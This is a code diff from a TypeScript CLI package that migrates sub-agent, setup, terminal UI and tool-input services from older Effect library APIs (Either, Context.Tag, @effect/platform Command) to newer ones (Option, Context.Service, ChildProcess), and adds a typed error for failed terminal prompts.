309 if (Array.isArray(value)) return { type: 'array', length: value.length };
310 - if (Predicate.isRecord(value)) {
310 + if (Predicate.isObject(value)) {
311 return { type: 'object', keys: Object.keys(value).slice(0, 20) };
312 }
313 return {
@@ -317,7 +317,7 @@ const describeDebugValue = (value: unknown) => {
317 };
318
319 const summarizeCliResultPreview = (result: RunCliResult): unknown => {
320 - if (!Predicate.isRecord(result)) return result;
320 + if (!Predicate.isObject(result)) return result;
321 if ('data' in result && result.data !== undefined) return result.data;
322 if (typeof result.error === 'string' && result.error.trim().length > 0)
323 return result.error.trim();
@@ -329,8 +329,8 @@ const readConfiguredExperimentalSubagentTarget = (
329 ): 'auto' | 'claude' | 'codex' => {
330 if (!cliConfigPath) return 'auto';
331
332 - return Either.getOrElse(
333 - Either.try(() => {
332 + return Result.getOrElse(
333 + Result.try(() => {
334 const raw = fs.readFileSync(cliConfigPath, 'utf8');
335 const parsed = decodeExperimentalSubagentConfig(raw);
336 const target = parsed.experimental_subagent?.target;
@@ -375,7 +375,7 @@ const normalizeInvokeAgentOptions = (
375 zodSchema = inputSchema;
376 const generatedSchema = z.toJSONSchema(inputSchema);
377 structuredSchema = Schema.decodeUnknownSync(JsonObject)(generatedSchema);
378 - } else if (Predicate.isRecord(inputSchema)) {
378 + } else if (Predicate.isObject(inputSchema)) {
379 structuredSchema = inputSchema;
380 } else {
381 throw new Error('experimental_subAgent() schema must be a Zod schema or JSON Schema object.');
@@ -579,7 +579,7 @@ const createCliRunner = (params: {
579 let perfDebugSeq = 0;
580
581 const maybeLoadStoredCliResult = (result: RunCliResult): RunCliResult => {
582 - if (!Predicate.isRecord(result) || result.storedInFile !== true) {
582 + if (!Predicate.isObject(result) || result.storedInFile !== true) {
583 return attachPromptMethod(result);
584 }
585 helperDebugLog('cli.result.stored_in_file', {
@@ -601,7 +601,7 @@ const createCliRunner = (params: {
601 command: string | undefined,
602 result: RunCliResult
603 ) => {
604 - if (!Predicate.isRecord(result)) {
604 + if (!Predicate.isObject(result)) {
605 helperDebugLog('cli.result', {
606 requestId,
607 command,
@@ -653,12 +653,12 @@ const createCliRunner = (params: {
653 const { exitCode, stderr, stdout } = await bunCommandRuntime.runPromise(
654 Effect.scoped(
655 Effect.gen(function* () {
656 - const command = Command.make(executable, ...commandArgs).pipe(
657 - Command.env(env),
658 - Command.stdin('inherit'),
659 - Command.stderr(inheritStderr ? 'inherit' : 'pipe')
660 - );
661 - const child = yield* Command.start(command);
656 + const child = yield* Command.make(executable, commandArgs, {
657 + env,
658 + extendEnv: true,
659 + stdin: 'inherit',
660 + stderr: inheritStderr ? 'inherit' : 'pipe',
661 + });
662 const [childExitCode, childStdout, childStderr] = yield* Effect.all(
663 [
664 child.exitCode,
@@ -779,7 +779,7 @@ const createSearchAndExecuteHelpers = (params: {
779 }
780 }
781 const result = await runCliJson(args);
782 - if (Predicate.isRecord(result) && result.successful === false) {
782 + if (Predicate.isObject(result) && result.successful === false) {
783 const message =
784 typeof result.error === 'string' && result.error.trim().length > 0
785 ? result.error.trim()
@@ -923,8 +923,8 @@ const createProxyHelper = (params: {
923 const raw = await response.text();
924 const parsed = parseJson(raw);
925 if (!response.ok) {
926 - const responseMessage = Predicate.isRecord(parsed) ? parsed.message : undefined;
927 - const responseError = Predicate.isRecord(parsed) ? parsed.error : undefined;
926 + const responseMessage = Predicate.isObject(parsed) ? parsed.message : undefined;
927 + const responseError = Predicate.isObject(parsed) ? parsed.error : undefined;
928 const detail =
929 typeof parsed === 'string'
930 ? parsed
ts/packages/cli/src/services/run-subagent-acp.ts
+29 -16
@@ -1,11 +1,22 @@
1 import { createRequire } from 'node:module';
2 import type { Readable } from 'node:stream';
3 import * as acp from '@agentclientprotocol/sdk';
4 -import * as Command from '@effect/platform/Command';
5 -import * as FileSystem from '@effect/platform/FileSystem';
6 -import * as Path from '@effect/platform/Path';
7 -import * as BunContext from '@effect/platform-bun/BunContext';
8 -import { Cause, Config, Data, Effect, Exit, Layer, Option, Predicate, Queue, Stream } from 'effect';
4 +import * as BunServices from '@effect/platform-bun/BunServices';
5 +import {
6 + Cause,
7 + Config,
8 + Data,
9 + Effect,
10 + Exit,
11 + FileSystem,
12 + Layer,
13 + Option,
14 + Path,
15 + Predicate,
16 + Queue,
17 + Stream,
18 +} from 'effect';
19 +import { ChildProcess as Command } from 'effect/unstable/process';
20 import type { MasterKind } from 'src/services/master-detector';
21 import { NodeOs } from 'src/services/node-os';
22 import {
@@ -46,7 +57,7 @@ type AcpAdapterCommand = {
57
58 // This module is bundled as a standalone `composio run` companion module, so it
59 // provides its own platform layers instead of assuming the CLI runtime.
49 -const RunSubAgentAcpLive = Layer.mergeAll(BunContext.layer, NodeOs.Default);
60 +const RunSubAgentAcpLive = Layer.mergeAll(BunServices.layer, NodeOs.Default);
61
62 const getLegacySetSessionModel = (
63 connection: unknown
@@ -105,8 +116,8 @@ export const readableStreamFromNode = (input: Readable): ReadableStream<Uint8Arr
116 const writableStreamFromQueue = (queue: Queue.Queue<Uint8Array>): WritableStream<Uint8Array> =>
117 new WritableStream<Uint8Array>({
118 write: chunk => Effect.runPromise(Effect.asVoid(Queue.offer(queue, chunk))),
108 - close: () => Effect.runPromise(Queue.shutdown(queue)),
109 - abort: () => Effect.runPromise(Queue.shutdown(queue)),
119 + close: () => Effect.runPromise(Effect.asVoid(Queue.shutdown(queue))),
120 + abort: () => Effect.runPromise(Effect.asVoid(Queue.shutdown(queue))),
121 });
122
123 /**
@@ -657,7 +668,7 @@ export const createStructuredOutputMcpContext = ({
668 });
669
670 return yield* build.pipe(
660 - Effect.catchAll(error =>
671 + Effect.catch(error =>
672 Effect.sync(() => {
673 helperDebugLog('subAgent.acp.structured_output_tool_failed', {
674 error: error instanceof Error ? error.message : String(error),
@@ -709,7 +720,7 @@ const maybeReadStructuredOutputFromTool = ({
720 );
721
722 return yield* read.pipe(
712 - Effect.catchAll(error =>
723 + Effect.catch(error =>
724 Effect.sync<unknown>(() => {
725 helperDebugLog('subAgent.acp.structured_output_tool_result_failed', {
726 resultFilePath: context.resultFilePath,
@@ -759,7 +770,7 @@ const finalizeWithStructuredRepair = ({
770
771 return finalizeText.pipe(
772 Effect.map(payload => toInvokeAgentResponse(master, target, payload)),
762 - Effect.catchAll(error => {
773 + Effect.catch(error => {
774 const structuredSchema = options.structuredSchema;
775 if (!structuredSchema) {
776 return Effect.fail(error);
@@ -846,9 +857,11 @@ const invokeAcpSubAgentEffect = ({
857
858 const stdinQueue = yield* Queue.bounded<Uint8Array>(16);
859 const [executable, ...commandArgs] = resolved.cmd;
849 - const command = Command.make(executable, ...commandArgs).pipe(Command.env(childEnv));
860 + // extendEnv keeps the inherited environment (PATH included) underneath the
861 + // per-child overrides, matching the previous spawn semantics.
862 + const command = Command.make(executable, commandArgs, { env: childEnv, extendEnv: true });
863
851 - const child = yield* Command.start(command).pipe(
864 + const child = yield* command.pipe(
865 Effect.mapError(error =>
866 createFallbackError('spawn_failed', `Failed to spawn ${target} ACP adapter.`, error)
867 )
@@ -856,17 +869,17 @@ const invokeAcpSubAgentEffect = ({
869
870 // Teardown parity with the previous finally block: SIGTERM the child, wait
871 // for it to exit for at most 200ms, then SIGKILL it if it is still alive.
859 - // Registered after Command.start so it runs before the executor's own
872 + // Registered after the spawn so it runs before the spawner's own
873 // scope finalizer (which would otherwise await a stubborn child forever).
874 yield* Effect.addFinalizer(() =>
875 Effect.gen(function* () {
863 - yield* Effect.interruptible(child.kill('SIGTERM')).pipe(
876 + yield* Effect.interruptible(child.kill({ killSignal: 'SIGTERM' })).pipe(
877 Effect.timeout('200 millis'),
878 Effect.ignore
879 );
880 const stillRunning = yield* child.isRunning.pipe(Effect.orElseSucceed(() => false));
881 if (stillRunning) {
869 - yield* Effect.ignore(child.kill('SIGKILL'));
882 + yield* Effect.ignore(child.kill({ killSignal: 'SIGKILL' }));
883 }
884 })
885 );
ts/packages/cli/src/services/run-subagent-legacy.ts
+7 -9
@@ -1,8 +1,6 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
4 -import * as BunContext from '@effect/platform-bun/BunContext';
5 -import { Cause, Data, Effect, Exit, Predicate, Stream } from 'effect';
1 +import * as BunServices from '@effect/platform-bun/BunServices';
2 +import { Cause, Data, Effect, Exit, FileSystem, Path, Predicate, Stream } from 'effect';
3 +import { ChildProcess as Command } from 'effect/unstable/process';
4 import type { MasterKind } from 'src/services/master-detector';
5 import {
6 parseJson,
@@ -45,10 +43,10 @@ const runExternalCommandText = (
43
44 // The child never reads interactive input: hand it an immediately-closed
45 // stdin pipe (EOF), matching the previous `stdio: ['ignore', ...]` spawn.
48 - const command = Command.make(executable, ...commandArgs).pipe(Command.stdin(Stream.empty));
46 + const command = Command.make(executable, commandArgs, { stdin: Stream.empty });
47
48 const [exitCode, stdout, stderr] = yield* Effect.scoped(
51 - Effect.flatMap(Command.start(command), child =>
49 + Effect.flatMap(command, child =>
50 Effect.all([child.exitCode, collectUtf8Text(child.stdout), collectUtf8Text(child.stderr)], {
51 concurrency: 3,
52 })
@@ -98,7 +96,7 @@ const invokeClaudeLegacy = (
96
97 const result = yield* runExternalCommandText(args, helperDebugLog);
98 const parsed = parseJson(result.stdout.trim());
101 - if (!Predicate.isRecord(parsed)) {
99 + if (!Predicate.isObject(parsed)) {
100 return yield* new SubAgentNonJsonOutputError({ target: 'claude' });
101 }
102
@@ -189,7 +187,7 @@ export const invokeLegacySubAgent = async ({
187 ? invokeClaudeLegacy(prompt, options, master, helperDebugLog)
188 : invokeCodexLegacy(prompt, options, master, helperDebugLog);
189
192 - const exit = await Effect.runPromiseExit(Effect.provide(program, BunContext.layer));
190 + const exit = await Effect.runPromiseExit(Effect.provide(program, BunServices.layer));
191 if (Exit.isSuccess(exit)) {
192 return exit.value;
193 }
ts/packages/cli/src/services/run-subagent-output-mcp.ts
+1 -1
@@ -1,6 +1,6 @@
1 import process from 'node:process';
2 import { jsonSchemaToZod } from '@composio/json-schema-to-zod';
3 -import * as FileSystem from '@effect/platform/FileSystem';
3 +import * as FileSystem from 'effect/FileSystem';
4 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
5 import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
6 import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
ts/packages/cli/src/services/run-subagent-shared.ts
+19 -19
@@ -1,4 +1,4 @@
1 -import { Either, Predicate, Schema } from 'effect';
1 +import { Option, Predicate, Schema } from 'effect';
2 import { JsonRecordSchema } from 'src/effects/json';
3 import type { MasterKind } from 'src/services/master-detector';
4
@@ -57,7 +57,7 @@ const isAcpInvokeFailure = (value: unknown): value is AcpInvokeFailure =>
57 value === 'connection_closed';
58
59 export const isAcpInvokeError = (value: unknown): value is AcpInvokeError =>
60 - Predicate.isRecord(value) &&
60 + Predicate.isObject(value) &&
61 value.name === 'AcpInvokeError' &&
62 typeof value.message === 'string' &&
63 isAcpInvokeFailure(value.code);
@@ -79,11 +79,11 @@ export const toInvokeAgentResponse = (
79 });
80
81 /**
82 - * Sync JSON probe shared with the non-Effect child-process runtime; `Either`
82 + * Sync JSON probe shared with the non-Effect child-process runtime; `Option`
83 * is pure data from the already-bundled `effect` package, so it is safe there.
84 */
85 -const parseJsonEither = (text: string): Either.Either<unknown, unknown> =>
86 - Either.try((): unknown => JSON.parse(text));
85 +const parseJsonOption = (text: string): Option.Option<unknown> =>
86 + Option.liftThrowable((s: string): unknown => JSON.parse(s))(text);
87
88 export const parseJson = (text: string): unknown => {
89 const value = text.trim();
@@ -91,16 +91,16 @@ export const parseJson = (text: string): unknown => {
91 return undefined;
92 }
93 // Non-JSON sub-agent stdout is returned verbatim by design.
94 - return Either.getOrElse(parseJsonEither(value), (): unknown => value);
94 + return Option.getOrElse(parseJsonOption(value), (): unknown => value);
95 };
96
97 -const decodeStructuredSchema = Schema.decodeUnknownSync(Schema.parseJson(JsonRecordSchema));
97 +const decodeStructuredSchema = Schema.decodeUnknownSync(Schema.fromJsonString(JsonRecordSchema));
98
99 export const decodeStructuredSchemaJson = (text: string): Record<string, unknown> =>
100 decodeStructuredSchema(text);
101
102 const summarizeValidationError = (error: unknown): string => {
103 - const issues = Predicate.isRecord(error) && Array.isArray(error.issues) ? error.issues : [];
103 + const issues = Predicate.isObject(error) && Array.isArray(error.issues) ? error.issues : [];
104
105 if (issues.length === 0) {
106 return 'Invalid structured output.';
@@ -109,7 +109,7 @@ const summarizeValidationError = (error: unknown): string => {
109 return issues
110 .slice(0, 5)
111 .map(issue => {
112 - if (!Predicate.isRecord(issue)) {
112 + if (!Predicate.isObject(issue)) {
113 return '<root>: Invalid value';
114 }
115 const path =
@@ -180,7 +180,7 @@ export const unwrapStructuredOutputToolPayload = (
180 return payload;
181 }
182
183 - if (Predicate.isRecord(payload) && ACP_STRUCTURED_OUTPUT_WRAPPER_KEY in payload) {
183 + if (Predicate.isObject(payload) && ACP_STRUCTURED_OUTPUT_WRAPPER_KEY in payload) {
184 return payload[ACP_STRUCTURED_OUTPUT_WRAPPER_KEY];
185 }
186
@@ -252,9 +252,9 @@ const tryParseStructuredJson = (text: string): unknown | undefined => {
252 // A parse failure here is the signal to fall through to more permissive
253 // extraction for agents that emit a short status line before the final JSON
254 // payload, not an error to surface.
255 - const direct = parseJsonEither(trimmed);
256 - if (Either.isRight(direct)) {
257 - return direct.right;
255 + const direct = parseJsonOption(trimmed);
256 + if (Option.isSome(direct)) {
257 + return direct.value;
258 }
259
260 const fencedMatches = [...trimmed.matchAll(/```(?:json)?\s*([\s\S]*?)```/gi)];
@@ -266,9 +266,9 @@ const tryParseStructuredJson = (text: string): unknown | undefined => {
266
267 // Probes each fenced block for valid JSON; an invalid block just advances
268 // the scan to the next one.
269 - const fenced = parseJsonEither(candidate);
270 - if (Either.isRight(fenced)) {
271 - return fenced.right;
269 + const fenced = parseJsonOption(candidate);
270 + if (Option.isSome(fenced)) {
271 + return fenced.value;
272 }
273 }
274
@@ -348,12 +348,12 @@ const tryParseStructuredJson = (text: string): unknown | undefined => {
348 // Probes each balanced {...}/[...] substring for valid JSON inside a
349 // tight scanning loop; a failure just skips the candidate so the scan can
350 // keep looking for a larger valid JSON payload.
351 - const parsedCandidate = parseJsonEither(candidate);
352 - if (Either.isLeft(parsedCandidate)) {
351 + const parsedCandidate = parseJsonOption(candidate);
352 + if (Option.isNone(parsedCandidate)) {
353 continue;
354 }
355
356 - const parsed = parsedCandidate.right;
356 + const parsed = parsedCandidate.value;
357 const nextCandidate = {
358 length: candidate.length,
359 start,
ts/packages/cli/src/services/runtime-cli-context.ts
+4 -2
@@ -34,7 +34,9 @@ export const cliInvocationContext: Effect.Effect<CliInvocationContext> = Effect.
34 * inherits carry the same id. `None` for every other command, and for callers that drive the root
35 * command directly.
36 */
37 -export class CliRunId extends Context.Tag('services/CliRunId')<CliRunId, Option.Option<string>>() {}
37 +export class CliRunId extends Context.Service<CliRunId, Option.Option<string>>()(
38 + 'services/CliRunId'
39 +) {}
40
41 export const cliRunIdLayer = (runId: string | undefined): Layer.Layer<CliRunId> =>
40 - Layer.succeed(CliRunId, Option.fromNullable(runId));
42 + Layer.succeed(CliRunId, Option.fromNullishOr(runId));
ts/packages/cli/src/services/runtime-flags.ts
+6 -8
@@ -62,10 +62,9 @@ export const NO_CLI_DEBUG_FLAG_OVERRIDES: CliDebugFlagOverrides = {
62 * command it then routes to, so every reader takes the values as an input instead of reaching for
63 * process-wide state.
64 */
65 -export class CliDebugFlags extends Context.Tag('services/CliDebugFlags')<
66 - CliDebugFlags,
67 - CliDebugFlagOverrides
68 ->() {}
65 +export class CliDebugFlags extends Context.Service<CliDebugFlags, CliDebugFlagOverrides>()(
66 + 'services/CliDebugFlags'
67 +) {}
68
69 export const cliDebugFlagsLayer = (
70 overrides: CliDebugFlagOverrides = NO_CLI_DEBUG_FLAG_OVERRIDES
@@ -125,10 +124,9 @@ export const debugFlagsToChildEnv = (flags: ChildProcessDebugFlags): Record<stri
124 * detached worker process, where a hard requirement could not be satisfied, so readers resolve it
125 * with `Effect.serviceOption` and fall back to `COMPOSIO_CLI_TELEMETRY_DEBUG`.
126 */
128 -export class TelemetryDebugMode extends Context.Tag('services/TelemetryDebugMode')<
129 - TelemetryDebugMode,
130 - boolean
131 ->() {}
127 +export class TelemetryDebugMode extends Context.Service<TelemetryDebugMode, boolean>()(
128 + 'services/TelemetryDebugMode'
129 +) {}
130
131 export const telemetryDebugModeLayer = (enabled: boolean): Layer.Layer<TelemetryDebugMode> =>
132 Layer.succeed(TelemetryDebugMode, enabled);
ts/packages/cli/src/services/setup-skill-installer.ts
+9 -9
@@ -1,6 +1,6 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as HttpClient from '@effect/platform/HttpClient';
3 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 +import { HttpClient } from 'effect/unstable/http';
4 import { Config, Effect, Context, Layer } from 'effect';
5 import {
6 inferSkillReleaseChannel,
@@ -45,12 +45,12 @@ const checkClaudeSkillCurrent = (
45 .readFileString(path.join(target, SKILL_RELEASE_TAG_FILENAME), 'utf8')
46 .pipe(
47 Effect.map(value => value.trim()),
48 - Effect.catchAll(() => Effect.succeed(undefined))
48 + Effect.catch(() => Effect.succeed(undefined))
49 );
50 if (installedReleaseTag !== releaseTag) return false;
51 return yield* fs.readFileString(path.join(target, 'SKILL.md'), 'utf8').pipe(
52 Effect.as(true),
53 - Effect.catchAll(() => Effect.succeed(false))
53 + Effect.catch(() => Effect.succeed(false))
54 );
55 });
56
@@ -64,7 +64,7 @@ export const isClaudeSkillCurrent = (home: string, releaseTag: string) =>
64 const isLinkedTo = (fs: FileSystem.FileSystem, path: Path.Path, source: string, target: string) =>
65 fs.readLink(source).pipe(
66 Effect.map(link => path.resolve(path.dirname(source), link) === target),
67 - Effect.catchAll(() => Effect.succeed(false))
67 + Effect.catch(() => Effect.succeed(false))
68 );
69
70 export const hasManagedClaudeSkill = (home: string) =>
@@ -150,11 +150,11 @@ const makeSetupSkillInstaller = Effect.gen(function* () {
150 };
151 });
152
153 -export type SetupSkillInstallerShape = Effect.Effect.Success<typeof makeSetupSkillInstaller>;
153 +export type SetupSkillInstallerShape = Effect.Success<typeof makeSetupSkillInstaller>;
154
155 -export class SetupSkillInstaller extends Context.Tag('services/SetupSkillInstaller')<
155 +export class SetupSkillInstaller extends Context.Service<
156 SetupSkillInstaller,
157 SetupSkillInstallerShape
158 ->() {
158 +>()('services/SetupSkillInstaller') {
159 static readonly Default = Layer.effect(SetupSkillInstaller, makeSetupSkillInstaller);
160 }
ts/packages/cli/src/services/setup.ts
+36 -29
@@ -1,6 +1,6 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as PlatformError from '@effect/platform/Error';
3 -import { Data, Effect, Either, Option, Predicate, Schema } from 'effect';
1 +import * as PlatformError from 'effect/PlatformError';
2 +import { Data, Effect, Option, Predicate, Schema } from 'effect';
3 +import { ChildProcess as Command } from 'effect/unstable/process';
4 import semver from 'semver';
5 import { trackCliEventEffect } from 'src/analytics/dispatch';
6 import {
@@ -160,14 +160,14 @@ const setupProcessError = (params: {
160 });
161
162 const asRecord = (value: unknown): Record<string, unknown> | undefined =>
163 - Predicate.isRecord(value) ? value : undefined;
163 + Predicate.isObject(value) ? value : undefined;
164
165 -const decodeJsonOption = Schema.decodeUnknownOption(Schema.parseJson());
165 +const decodeJsonOption = Schema.decodeUnknownOption(Schema.fromJsonString(Schema.Unknown));
166
167 const parseJson = (value: string): unknown | undefined =>
168 Option.getOrUndefined(decodeJsonOption(value));
169
170 -const isRecord = Predicate.isRecord;
170 +const isRecord = Predicate.isObject;
171
172 const recordsFrom = (
173 value: unknown,
@@ -207,9 +207,9 @@ const normalizeGitHubRepository = (value: string): string | undefined => {
207 if (/^[a-z][a-z0-9+.-]*:\/\//i.test(repository)) {
208 // new URL() throws on malformed input; an unparseable repository string
209 // simply normalizes to undefined.
210 - const parsedUrl = Either.try(() => new URL(repository));
211 - if (Either.isLeft(parsedUrl)) return undefined;
212 - const url = parsedUrl.right;
210 + const parsedUrl = Option.liftThrowable((s: string) => new URL(s))(repository);
211 + if (Option.isNone(parsedUrl)) return undefined;
212 + const url = parsedUrl.value;
213 const isCanonicalGitHubUrl =
214 url.protocol === 'https:' &&
215 url.hostname.toLowerCase() === 'github.com' &&
@@ -283,25 +283,30 @@ const capture = (
283 ) =>
284 Effect.gen(function* () {
285 const runner = yield* CommandRunner;
286 - return yield* runner.capture(Command.make(adapter.executable, ...args)).pipe(
287 - Effect.timeoutFail({
286 + return yield* runner.capture(Command.make(adapter.executable, args)).pipe(
287 + Effect.timeoutOrElse({
288 duration: SETUP_COMMAND_TIMEOUT,
289 - onTimeout: () =>
290 - setupProcessError({
291 - adapter,
292 - stage,
293 - message: `The \`${commandText(adapter.executable, args)}\` command timed out after ${SETUP_COMMAND_TIMEOUT}.`,
294 - }),
289 + orElse: () =>
290 + Effect.fail(
291 + setupProcessError({
292 + adapter,
293 + stage,
294 + message: `The \`${commandText(adapter.executable, args)}\` command timed out after ${SETUP_COMMAND_TIMEOUT}.`,
295 + })
296 + ),
297 })
298 );
299 });
300
301 +const isCommandNotFoundError = (
302 + error: PlatformError.PlatformError | SetupProcessError
303 +): error is PlatformError.PlatformError =>
304 + Predicate.isTagged(error, 'PlatformError') && Predicate.isTagged(error.reason, 'NotFound');
305 +
306 const captureOptional = (adapter: SetupTargetAdapter, args: ReadonlyArray<string>) =>
307 capture(adapter, args, 'detect').pipe(
301 - Effect.catchIf(Schema.is(PlatformError.SystemError), error =>
302 - error.reason === 'NotFound'
303 - ? Effect.succeed<CommandResult | undefined>(undefined)
304 - : Effect.fail(error)
308 + Effect.catchIf(isCommandNotFoundError, () =>
309 + Effect.succeed<CommandResult | undefined>(undefined)
310 )
311 );
312
@@ -623,15 +628,17 @@ const runRequired = (
628 ) =>
629 Effect.gen(function* () {
630 const runner = yield* CommandRunner;
626 - const result = yield* runner.capture(Command.make(adapter.executable, ...args)).pipe(
627 - Effect.timeoutFail({
631 + const result = yield* runner.capture(Command.make(adapter.executable, args)).pipe(
632 + Effect.timeoutOrElse({
633 duration: SETUP_COMMAND_TIMEOUT,
629 - onTimeout: () =>
630 - setupProcessError({
631 - adapter,
632 - stage: 'mutate',
633 - message: `${operation} timed out after ${SETUP_COMMAND_TIMEOUT}.`,
634 - }),
634 + orElse: () =>
635 + Effect.fail(
636 + setupProcessError({
637 + adapter,
638 + stage: 'mutate',
639 + message: `${operation} timed out after ${SETUP_COMMAND_TIMEOUT}.`,
640 + })
641 + ),
642 }),
643 Effect.mapError(cause =>
644 setupProcessError({
ts/packages/cli/src/services/stdin.ts
+1 -1
@@ -15,7 +15,7 @@ export interface Stdin {
15 readonly readAll: () => Effect.Effect<string, Error>;
16 }
17
18 -export const Stdin = Context.GenericTag<Stdin>('services/Stdin');
18 +export const Stdin = Context.Service<Stdin>('services/Stdin');
19
20 const readAll = (): Promise<string> =>
21 new Promise((resolve, reject) => {
ts/packages/cli/src/services/terminal-ui.ts
+44 -21
@@ -3,7 +3,7 @@ import type { Writable } from 'node:stream';
3 import { getColumns } from '@clack/core';
4 import * as p from '@clack/prompts';
5 import stringWidth from 'fast-string-width';
6 -import { Context, Effect, Exit, Layer } from 'effect';
6 +import { Context, Data, Effect, Exit, Layer } from 'effect';
7
8 export type TtyLikeStream = {
9 readonly isTTY?: boolean;
@@ -73,6 +73,18 @@ export interface SpinnerHandle {
73 // TerminalUI — Effect service for structured terminal output
74 // ---------------------------------------------------------------------------
75
76 +/**
77 + * A Clack prompt (`select`/`confirm`) rejected instead of resolving.
78 + * Cancellation is NOT this error — cancel returns the documented
79 + * fallback value. This fires when the streams backing the prompt fail
80 + * mid-session (e.g. the terminal disappears while the question is
81 + * open), which the caller cannot meaningfully recover from.
82 + */
83 +export class TerminalPromptError extends Data.TaggedError('TerminalPromptError')<{
84 + readonly message: string;
85 + readonly cause: unknown;
86 +}> {}
87 +
88 export interface TerminalUI {
89 /** Capabilities of the streams backing this terminal service. */
90 readonly capabilities: Effect.Effect<TerminalCapabilities>;
@@ -139,15 +151,17 @@ export interface TerminalUI {
151 /**
152 * Ask the user a yes/no confirmation question.
153 * When prompting is unavailable, returns `defaultValue` (defaults to `true`).
154 + * Fails with `TerminalPromptError` if the prompt's streams fail mid-session.
155 */
156 readonly confirm: (
157 message: string,
158 options?: { readonly defaultValue?: boolean }
146 - ) => Effect.Effect<boolean>;
159 + ) => Effect.Effect<boolean, TerminalPromptError>;
160
161 /**
162 * Present a single-select list to the user.
163 * When prompting is unavailable, returns the first option's value.
164 + * Fails with `TerminalPromptError` if the prompt's streams fail mid-session.
165 */
166 readonly select: <Value>(
167 message: string,
@@ -156,7 +170,7 @@ export interface TerminalUI {
170 readonly label: string;
171 readonly hint?: string;
172 }>
159 - ) => Effect.Effect<Value>;
173 + ) => Effect.Effect<Value, TerminalPromptError>;
174
175 /**
176 * Create a controllable spinner that is automatically stopped on error or interruption.
@@ -171,7 +185,7 @@ export interface TerminalUI {
185 ) => Effect.Effect<A, E, R>;
186 }
187
174 -export const TerminalUI = Context.GenericTag<TerminalUI>('services/TerminalUI');
188 +export const TerminalUI = Context.Service<TerminalUI>('services/TerminalUI');
189
190 // ---------------------------------------------------------------------------
191 // makeTerminalUI — build a TerminalUI from explicit streams
@@ -337,15 +351,21 @@ export const makeTerminalUI = (streams: TerminalUIStreams): TerminalUI => {
351 return Effect.succeed(options[0].value);
352 }
353
340 - return Effect.promise(async () => {
341 - const result = await p.select({
342 - message,
343 - options: [...options],
344 - output: stderr,
345 - });
346 - // p.select returns Value | symbol (symbol on cancel)
347 - if (typeof result === 'symbol') return options[0].value;
348 - return result;
354 + // The prompt itself is fallible (stream failure while the question is
355 + // open), so it surfaces as a typed TerminalPromptError rather than an
356 + // Effect.promise defect.
357 + return Effect.tryPromise({
358 + try: async () => {
359 + const result = await p.select({
360 + message,
361 + options: [...options],
362 + output: stderr,
363 + });
364 + // p.select returns Value | symbol (symbol on cancel)
365 + if (typeof result === 'symbol') return options[0].value;
366 + return result;
367 + },
368 + catch: cause => new TerminalPromptError({ message: 'Select prompt failed.', cause }),
369 });
370 }) as TerminalUI['select'],
371
@@ -354,14 +374,17 @@ export const makeTerminalUI = (streams: TerminalUIStreams): TerminalUI => {
374 return Effect.succeed(options?.defaultValue ?? true);
375 }
376
357 - return Effect.promise(async () => {
358 - const result = await p.confirm({
359 - message,
360 - initialValue: options?.defaultValue ?? true,
361 - output: stderr,
362 - });
363 - if (p.isCancel(result)) return false;
364 - return result;
377 + return Effect.tryPromise({
378 + try: async () => {
379 + const result = await p.confirm({
380 + message,
381 + initialValue: options?.defaultValue ?? true,
382 + output: stderr,
383 + });
384 + if (p.isCancel(result)) return false;
385 + return result;
386 + },
387 + catch: cause => new TerminalPromptError({ message: 'Confirm prompt failed.', cause }),
388 });
389 },
390
ts/packages/cli/src/services/tool-file-uploads.ts
+5 -5
@@ -3,8 +3,8 @@
3 // FileSystem and Path services and passes the instances in as parameters;
4 // `readLocalFileBytes` below is the single point where a FileSystem effect
5 // is run to completion inside this promise pipeline.
6 -import type * as FileSystem from '@effect/platform/FileSystem';
7 -import type * as Path from '@effect/platform/Path';
6 +import type * as FileSystem from 'effect/FileSystem';
7 +import type * as Path from 'effect/Path';
8 import type { Composio as RawComposioClient } from '@composio/client';
9 import { assertSafeFileUploadPath, readResponseBodyWithLimit } from '@composio/core';
10 import { ssrfSafeFetch } from '@composio/core/utils/ssrf-guard';
@@ -23,7 +23,7 @@ export class ToolFileUploadError extends Data.TaggedError('services/ToolFileUplo
23 const isFileLike = (value: unknown): value is File =>
24 typeof File !== 'undefined' && value instanceof File;
25
26 -const isSchemaRecord = (value: unknown): value is JsonSchema => Predicate.isRecord(value);
26 +const isSchemaRecord = (value: unknown): value is JsonSchema => Predicate.isObject(value);
27
28 const getSchemaVariant = (value: unknown): ReadonlyArray<JsonSchema> =>
29 Array.isArray(value) ? value.filter(isSchemaRecord) : [];
@@ -316,7 +316,7 @@ const hydrateFileUploads = async (
316 return nextValue;
317 }
318
319 - if (isSchemaRecord(schema?.properties) && Predicate.isRecord(value)) {
319 + if (isSchemaRecord(schema?.properties) && Predicate.isObject(value)) {
320 const properties = schema.properties;
321 const entries = await Promise.all(
322 Object.entries(value).map(async ([key, entryValue]) => [
@@ -365,5 +365,5 @@ export const uploadToolInputFiles = async (params: {
365 client: params.client,
366 });
367
368 - return Predicate.isRecord(hydrated) ? hydrated : params.arguments_;
368 + return Predicate.isObject(hydrated) ? hydrated : params.arguments_;
369 };
ts/packages/cli/src/services/tool-input-validation.ts
+30 -21
@@ -1,7 +1,6 @@
1 -import { AutoCorrect, CliConfig } from '@effect/cli';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
4 -import { Data, Effect, Option, ParseResult, Schema } from 'effect';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 +import { Data, Effect, Option, Predicate, Schema, SchemaIssue } from 'effect';
4 import { getLocalToolInputDefinition } from '@composio/cli-local-tools';
5 import {
6 jsonSchemaToEffectSchema,
@@ -27,7 +26,7 @@ const CachedToolInputDefinitionEnvelope = Schema.Struct({
26 });
27 const ObjectSchemaWithProperties = Schema.Struct({ properties: JsonRecordSchema });
28
30 -const decodeJsonObject = Schema.decodeUnknown(Schema.parseJson(JsonRecordSchema));
29 +const decodeJsonObject = Schema.decodeUnknownEffect(Schema.fromJsonString(JsonRecordSchema));
